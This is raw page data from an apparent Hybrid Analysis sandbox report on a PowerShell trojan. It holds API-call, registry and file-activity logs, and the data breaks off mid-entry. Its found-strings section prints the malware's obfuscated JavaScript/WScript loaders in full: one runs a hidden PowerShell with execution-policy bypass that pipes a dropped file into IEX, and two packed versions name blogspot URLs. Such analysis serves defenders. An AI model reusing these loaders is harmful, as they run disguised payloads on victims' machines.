25:I[10321,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/3k0jjn7m8jtc5.js","/_next/static/chunks/3xfwong8gg51p.js","/_next/static/chunks/1kn_tf3p-ubex.js"],"ReportDetailWrapper"] 64d:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 24:T56e,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious HEUR:Trojan.PowerShell.Kryptik — Falcon Sandbox Report — Score 100/100 — Sample a905e397a6bb…","description":"Malicious verdict for sandbox report 641b43305411…. Malware family: HEUR:Trojan.PowerShell.Kryptik. Threat score 100/100. 3 malicious and 8 suspicious behavioral indicators across 85 signatures. Detonated in Windows 7 32 bit. View behavioral indicators, network activity, dropped files, and MITRE ATT\u0026CK mappings.","url":"/sample/a905e397a6bb3374a54fa8ebccf57ff3b8d0f2cd0aca4c9091b0b19fd85d67b3/641b43305411ea5d800475e5","keywords":["Malicious","HEUR:Trojan.PowerShell.Kryptik","sandbox report","malware analysis","MITRE ATT\u0026CK","a905e397a6bb3374a54fa8ebccf57ff3b8d0f2cd0aca4c9091b0b19fd85d67b3"],"about":{"@type":"SoftwareApplication","name":"529f38_05b9ed78f84140d6b73380af191cbd42.ps1","applicationCategory":"UTF-8 Unicode text, with very long lines, with CRLF line terminators","identifier":"a905e397a6bb3374a54fa8ebccf57ff3b8d0f2cd0aca4c9091b0b19fd85d67b3","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"HEUR:Trojan.PowerShell.Kryptik","sandboxEnvironment":"Windows 7 32 bit","behavioralIndicators":{"malicious":3,"suspicious":8,"totalSignatures":85},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}26:T27e0,"powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000007800650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff2b1577fb8a0877d8eba876ac012d0000002d0000000000000000000500e3005f000000000000000000000000000000000000000600de005f0000000000000000000000206c2d0000000000200000000000000000000000d0472f0010692d00306a2d00c8963200d86d2d0000000000acb61a00000000002cb81a0095e11177db210700feffffffff2b15779a2a1577d8eba876b69f1577000000000000000000000000 (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000340001000000ffffffff0200000008000000f0c13200f0c13200ebc13200000000000200000090163100000000000100000800000000f4dd1a0095e11177e32f0700feffffff6ccb1a003f082c770200000090163100000000000100001888fb2b775ccb1a00c81c6e7532cd1a0095fb2b7790cc1a009016310000000000000000000000000018cc1a0000002d007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600de1f23c7d8cb1a006d82eb768498320004010000 (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000eb760100000000800000000000000000000038c41a002333eb766cc41a0000800000008000006cc41a003733eb760000000072c41a005e1023c754c41a006732eb764cc91a00fc0eeec778c61a00135f6a756cc41a005ec91a0000000000b4cd1a00189a320080cb1a00205f6a7543003a005c00550073006500720073000000630079004f0046004500570067007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600b61023c7f0c41a006d82eb767478340004010000 (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000001a00000000002ab71a000900000081d06e75a4b61a00a8b61a000000000074de32009c501477e26b2f75280100002801000074b61a00b0ea2b772801000094b61a0050bb1a005ecb6c752801000000000000005d6a75acbd1a000e5d6a7544b91a00dcaa6e7501000000000000007a000000ffffffffffffffffccb61a00780200000000000025000000ccb61a007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600626323c724b71a006d82eb766c87340004010000 (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000eb7601000000008000000000000000000000d8ae1a002333eb760caf1a0000800000008000000caf1a003733eb760000000012af1a00be7a23c7f4ae1a006732eb76ecb31a005c64eec718b11a00135f6a750caf1a0042b41a000000000054b81a00e8ca300020b61a00205f6a7543003a005c00550073006500720073005c00630079004f0046004500570067007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600167b23c790af1a006d82eb766c8b340004010000 (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000340001000000ffffffff02000000080000000089340000893400fb883400000000000200000090163100000000000100000800000000f4dd1a0095e11177e32f0700feffffff5cab1a003f082c770200000090163100000000000100001888fb2b774cab1a00c81c6e7522ad1a0095fb2b7780ac1a009016310000000000000000000000000008ac1a0000002d007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600ce7f23c7c8ab1a006d82eb76948d340004010000 (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000002d00900d3000f4dd1a0095e111771e00ec0007000000e063157716641577000000007006300001000000880d3000e0bf1a000029157700000000ccc51a0000000000880d300028c01a001c762f7500002d000000000032762f7559f90ac7ccc51a000000000000000000108434000000000018c01a00f4bf1a0014843400f4dd1a00bd063175494f3fb2feffffff7b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d0041003600420042003200310036000a1423c78cc01a006d82eb768498320004010000 (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000001a00000000004ecc1a000500000081d06e7504cc1a0008cc1a0000000000a04334009c501477e26b2f757401000074010000d4cb1a00b0ea2b7774010000f4cb1a00b0d01a005ecb6c757401000000000000005d6a750cd31a000e5d6a75a4ce1a00dcaa6e75010000000000000072000000ffffffffffffffff2ccc1a007802000000000000250000002ccc1a007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600021823c784cc1a006d82eb76043f350004010000 (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000003500010000000b00000002000000080000005ad16c75604635005b463500000000000200000090163100000000000100000800000000f4dd1a0095e11177e32f0700feffffff6ccb1a003f082c770200000090163100000000000100001888fb2b775ccb1a00c81c6e7532cd1a0095fb2b7790cc1a009016310000000000000000000000000018cc1a0000002d007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600de1f23c7d8cb1a006d82eb76043f350004010000 (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000eb760100000000800000000000000000000038c41a002333eb766cc41a0000800000008000006cc41a003733eb760000000072c41a005e1023c754c41a006732eb764cc91a00fc0eeec778c61a00135f6a756cc41a005ec91a0000000000b4cd1a00585a340080cb1a00205f6a7543003a005c00550073006500720073000000630079004f0046004500570067007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600b61023c7f0c41a006d82eb76043f350004010000 (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000001a00000000002ab71a000900000081d06e75a4b61a00a8b61a000000000014e432009c501477e26b2f75740100007401000074b61a00b0ea2b777401000094b61a0050bb1a005ecb6c757401000000000000005d6a75acbd1a000e5d6a7544b91a00dcaa6e7501000000000000007a000000ffffffffffffffffccb61a00780200000000000025000000ccb61a007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600626323c724b71a006d82eb76d484340004010000 (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000014010000010000000000000001cf6d6c0c6c7056657273696f6e496e666f726d6174696f6e0000000000000000000000001a00d77d1577f0072d00ac4e31c75cb51a0000002d00f4dd1a005008566c8c5d7cabfefffffff4b51a0030932f7500b61a0000000000e486340020b71a0024c46c753ec46c751c0100000600000001000000b11d000000002d007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d0041003600420042003200310036003e6223c778b61a006d82eb76d484340004010000 (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000eb7601000000008000000000000000000000d8ae1a002333eb760caf1a0000800000008000000caf1a003733eb760000000012af1a00be7a23c7f4ae1a006732eb76ecb31a005c64eec718b11a00135f6a750caf1a0042b41a000000000054b81a00501e350020b61a00205f6a7543003a005c00550073006500720073005c00630079004f0046004500570067007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600167b23c790af1a006d82eb76d484340004010000 (UID: 00000000-00002216) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000001a00000000009eac1a000a00000081d06e75f4ab1a00f8ab1a00000000007a5d34009c501477e26b2f757401000074010000c4ab1a00b0ea2b7774010000e4ab1a00a0b01a005ecb6c757401000000000000005d6a75fcb21a000e5d6a7594ae1a00dcaa6e7501000000000000007c000000ffffffffffffffff1cac1a007802000000000000250000001cac1a007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600327823c774ac1a006d82eb769c52350004010000 (UID: 00000000-00002216)27:T45d,"powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "schtasks.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")28:T53d,"powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D93F411851D7C929.CUSTOMDESTINATIONS-MS" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\COYV085E2J6T1GTRT98H.TEMP" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\COYV085E2J6T1GTRT98H.temp" "powershell.exe" trying to touch file "C:\Users\cyOFEWg\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UHJIZNP0CWF4LQKPNNRZ.TEMP" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UHJIZNP0CWF4LQKPNNRZ.temp" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF10b364.TMP"29:T7c4,"powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations (UID: 00000000-00002216) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002216) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002216) "powershell.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\MEMEMAN (UID: 00000000-00002216) "WScript.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00002932) "powershell.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003704) "powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations (UID: 00000000-00003704) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00003704) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00003704) "WScript.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003244) "powershell.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00001224) "powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations (UID: 00000000-00001224) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00001224) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00001224) "WScript.exe" called "CreateDirectoryW" (UID: 00000000-00003776) "powershell.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003460) "powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations (UID: 00000000-00003460)2a:T5fd,"powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002216) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002216) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002216) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002216) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00002216) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002216) "powershell.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00002216) "powershell.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00002216) "powershell.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00002216) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002216) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00002216) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002216) "powershell.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00002216) "powershell.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00002216) "powershell.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00002216) "powershell.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00002216)2b:T6b2,"powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter CoGetMalloc (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00002216) "powershell.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadBSTR (UID: 00000000-00002216)2c:T5d02,Found string "eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4=q("o:{n-m-l-g-j}");i["8"](d);2="b>h*^ -a p>> -c (5\'w\'r(\'k\') -u>*B) | .(\'{x}{9}\'.3(\'9\',\'0\').3(\'x\',\'1\')-f\'6\' \'%%\').3(\'%%\',\'5\').3(\'6\',\'t\') | v A.0.0.1";2=2.3("*","e");2=2.3("*","e");2=2.3("*","e");2=2.3("^","z");2=2.3(">","s");2=2.3(">","s");2=2.3(">","s");2=2.3(">","s");4["y"](2,0,7);',38,38,'||Jigijigi|replace|combackmyex|I|lun|true|Sleep||eP|power||5000|||ADB9||WScript|00C04FD58A0B|https://backuphotelall.blogspot.com/atom.xml|11D0|1CF0|F935DC22|new|Bypa|ActiveXObject|||EX||ping|||RUN|ll|127|'.split('|'),0,{}))" (Indicator: "Sleep"; in File: "REALENGINEUPDATE.js") Found string "eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4=q("o:{n-m-l-g-j}");i["8"](d);2="b>h*^ -a p>> -c (5\'w\'r(\'k\') -u>*B) | .(\'{x}{9}\'.3(\'9\',\'0\').3(\'x\',\'1\')-f\'6\' \'%%\').3(\'%%\',\'5\').3(\'6\',\'t\') | v A.0.0.1";2=2.3("*","e");2=2.3("*","e");2=2.3("*","e");2=2.3("^","z");2=2.3(">","s");2=2.3(">","s");2=2.3(">","s");2=2.3(">","s");4["y"](2,0,7);',38,38,'||Jigijigi|replace|combackmyex|I|lun|true|Sleep||eP|power||5000|||ADB9||WScript|00C04FD58A0B|https://bakc2000.blogspot.com/atom.xml|11D0|1CF0|F935DC22|new|Bypa|ActiveXObject|||EX||ping|||RUN|ll|127|'.split('|'),0,{}))" (Indicator: "Sleep"; in File: "UpdateEscan.js.bin") Found string "hulakabutr = ActiveXObject("new:{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");WScript["Sleep"](3000);magualei = "powersh*^ -EP Bypass -c Get-Content -RAW C:\\ProgramData\\MEMEMAN\\Cyph*rDeptography.~+~ | .('{x}{9}'.replace('9','0').replace('x','1')-f'lun' '%%').replace('%%','I').replace('lun','EX') | ping 127.0.0.1";magualei = magualei.replace("*" ,"e");magualei = magualei.replace("*" ,"e");magualei = magualei.replace("*" ,"e");magualei = magualei.replace("*" ,"e");magualei = magualei.replace("^" ,"ll");hulakabutr["Run"](magualei, 0, true);" (Indicator: "Sleep"; in File: "WindowsDEFENDERUPDATE.js.bin") Found string "WScript["Sleep"](3000);" (Indicator: "Sleep"; in File: "WindowsDEFENDERUPDATE.js.bin") Found string "DecodePointer" (Indicator: "DecodePointer"; in Source: "00000000-00002216-00000C1E-19463640") Found string "OpenThreadToken" (Indicator: "OpenThread"; in Source: "00000000-00002216-00000C1E-20027665") Found string "CoTaskMemAlloc" (Indicator: "CoTaskMemAlloc"; in Source: "00000000-00002216-00000C1E-20126708") Found string "EventRegister" (Indicator: "EventRegister"; in Source: "00000000-00002216-00000C1E-20267779") Found string "EventUnregister" (Indicator: "EventUnregister"; in Source: "00000000-00002216-00000C1E-20268643") Found string "EventWrite" (Indicator: "EventWrite"; in Source: "00000000-00002216-00000C1E-20270337") Found string "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; in Source: "00000000-00002216-00000C1E-20275977") Found string "SetEntriesInAclW" (Indicator: "SetEntriesInAclW"; in Source: "00000000-00002216-00000C1E-20277355") Found string "CoTaskMemFree" (Indicator: "CoTaskMemFree"; in Source: "00000000-00002216-00000C1E-20390884") Found string "NetShareEnum" (Indicator: "NetShareEnum"; in Source: "00000000-00002216-00000C1E-22388588") Found string "OpenProcessToken" (Indicator: "OpenProcess"; in Source: "00000000-00002216-00000C1E-22676144") Found string "GetTokenInformation" (Indicator: "GetTokenInformation"; in Source: "00000000-00002216-00000C1E-22677082") Found string "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; in Source: "00000000-00002216-00000C1E-22678017") Found string "EqualSid" (Indicator: "EqualSid"; in Source: "00000000-00002216-00000C1E-22679137") Found string "FreeSid" (Indicator: "FreeSid"; in Source: "00000000-00002216-00000C1E-22679990") Found string "RegOpenKeyExW" (Indicator: "RegOpenKeyExW"; in Source: "00000000-00002216-00000C1E-22752754") Found string "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKeyW"; in Source: "00000000-00002216-00000C1E-22753685") Found string "RegEnumKeyExW" (Indicator: "RegEnumKeyExW"; in Source: "00000000-00002216-00000C1E-22754598") Found string "RegEnumValueW" (Indicator: "RegEnumValueW"; in Source: "00000000-00002216-00000C1E-22756479") Found string "RegCloseKey" (Indicator: "RegCloseKey"; in Source: "00000000-00002216-00000C1E-22757430") Found string "RegQueryValueExW" (Indicator: "RegQueryValueExW"; in Source: "00000000-00002216-00000C1E-22758644") Found string "InitializeCriticalSectionEx" (Indicator: "InitializeCriticalSection"; in Source: "00000000-00002216-00000C1E-22787758") Found string "FlsSetValue" (Indicator: "FlsSetValue"; in Source: "00000000-00002216-00000C1E-22825722") Found string "FlsGetValue" (Indicator: "FlsGetValue"; in Source: "00000000-00002216-00000C1E-22922734") Found string "AcquireSRWLockExclusive" (Indicator: "AcquireSRWLockExclusive"; in Source: "00000000-00002216-00000C1E-22945707") Found string "ReleaseSRWLockExclusive" (Indicator: "ReleaseSRWLockExclusive"; in Source: "00000000-00002216-00000C1E-22946708") Found string "EncodePointer" (Indicator: "EncodePointer"; in Source: "00000000-00002216-00000C1E-23425411") Found string "InitializeCriticalSectionAndSpinCount" (Indicator: "InitializeCriticalSection"; in Source: "00000000-00002216-00000C1E-23437167") Found string "IsProcessorFeaturePresent" (Indicator: "IsProcessorFeaturePresent"; in Source: "00000000-00002216-00000C1E-23466052") Found string "GetSystemWindowsDirectoryW" (Indicator: "GetSystemWindowsDirectoryW"; in Source: "00000000-00002216-00000C1E-23476418") Found string "RtlUnwind" (Indicator: "RtlUnwind"; in Source: "00000000-00002216-00000C1E-23633860") Found string "IsWow64Process" (Indicator: "IsWow64Process"; in Source: "00000000-00002216-00000C1E-23638834") Found string "InitializeAcl" (Indicator: "InitializeAcl"; in Source: "00000000-00002216-00000C1E-23653627") Found string "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; in Source: "00000000-00002216-00000C1E-23654500") Found string "SetThreadStackGuarantee" (Indicator: "SetThreadStackGuarantee"; in Source: "00000000-00002216-00000C1E-23666049") Found string "ConvertSidToStringSidW" (Indicator: "ConvertSidToStringSidW"; in Source: "00000000-00002216-00000C1E-23741471") Found string "SHGetFolderPathW" (Indicator: "SHGetFolderPathW"; in Source: "00000000-00002216-00000C1E-23760926") Found string "CoInitializeEx" (Indicator: "CoInitialize"; in Source: "00000000-00002216-00000C1E-23990196") Found string "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; in Source: "00000000-00002216-00000C1E-24116683") Found string "GetVersionEx" (Indicator: "GetVersion"; in Source: "00000000-00002216-00000C1E-24366634") Found string "GetVersionExW" (Indicator: "GetVersion"; in Source: "00000000-00002216-00000C1E-24368004") Found string "GetFullPathNameW" (Indicator: "GetFullPathNameW"; in Source: "00000000-00002216-00000C1E-24503440") Found string "SetErrorMode" (Indicator: "SetErrorMode"; in Source: "00000000-00002216-00000C1E-24509431") Found string "GetFileAttributesExW" (Indicator: "GetFileAttributesExW"; in Source: "00000000-00002216-00000C1E-24512649") Found string "lstrlenW" (Indicator: "lstrlenW"; in Source: "00000000-00002216-00000C1E-24633201") Found string "CloseHandle" (Indicator: "CloseHandle"; in Source: "00000000-00002216-00000C1E-24709314") Found string "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; in Source: "00000000-00002216-00000C1E-24712209") Found string "GetCurrentProcessIdW" (Indicator: "GetCurrentProcess"; in Source: "00000000-00002216-00000C1E-24713748") Found string "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValueW"; in Source: "00000000-00002216-00000C1E-24763680") Found string "GetCurrentProcess" (Indicator: "GetCurrentProcess"; in Source: "00000000-00002216-00000C1E-24767934") Found string "OpenProcessTokenW" (Indicator: "OpenProcess"; in Source: "00000000-00002216-00000C1E-24770849") Found string "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; in Source: "00000000-00002216-00000C1E-24772795") Found string "AdjustTokenPrivilegesW" (Indicator: "AdjustTokenPrivileges"; in Source: "00000000-00002216-00000C1E-24774247") Found string "OpenProcess" (Indicator: "OpenProcess"; in Source: "00000000-00002216-00000C1E-24781318") Found string "OpenProcessW" (Indicator: "OpenProcess"; in Source: "00000000-00002216-00000C1E-24782997") Found string "EnumProcessModules" (Indicator: "EnumProcessModules"; in Source: "00000000-00002216-00000C1E-24843685") Found string "EnumProcessModulesW" (Indicator: "EnumProcessModules"; in Source: "00000000-00002216-00000C1E-24845268") Found string "GetModuleFileNameExW" (Indicator: "GetModuleFileNameExW"; in Source: "00000000-00002216-00000C1E-24862921") Found string "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; in Source: "00000000-00002216-00000C1E-24928778") Found string "NtQuerySystemInformationW" (Indicator: "NtQuerySystemInformation"; in Source: "00000000-00002216-00000C1E-24930267") Found string "EnumWindows" (Indicator: "EnumWindows"; in Source: "00000000-00002216-00000C1E-24969491") Found string "EnumWindowsW" (Indicator: "EnumWindows"; in Source: "00000000-00002216-00000C1E-24970948") Found string "GetWindowThreadProcessId" (Indicator: "GetWindow"; in Source: "00000000-00002216-00000C1E-25001050") Found string "GetWindowThreadProcessIdW" (Indicator: "GetWindow"; in Source: "00000000-00002216-00000C1E-25002569") Found string "GetWindow" (Indicator: "GetWindow"; in Source: "00000000-00002216-00000C1E-25004170") Found string "IsWindowVisible" (Indicator: "IsWindow"; in Source: "00000000-00002216-00000C1E-25005718") Found string "IsWindowVisibleW" (Indicator: "IsWindow"; in Source: "00000000-00002216-00000C1E-25007438") Found string "SetThreadPreferredUILanguages" (Indicator: "SetThreadPreferredUILanguages"; in Source: 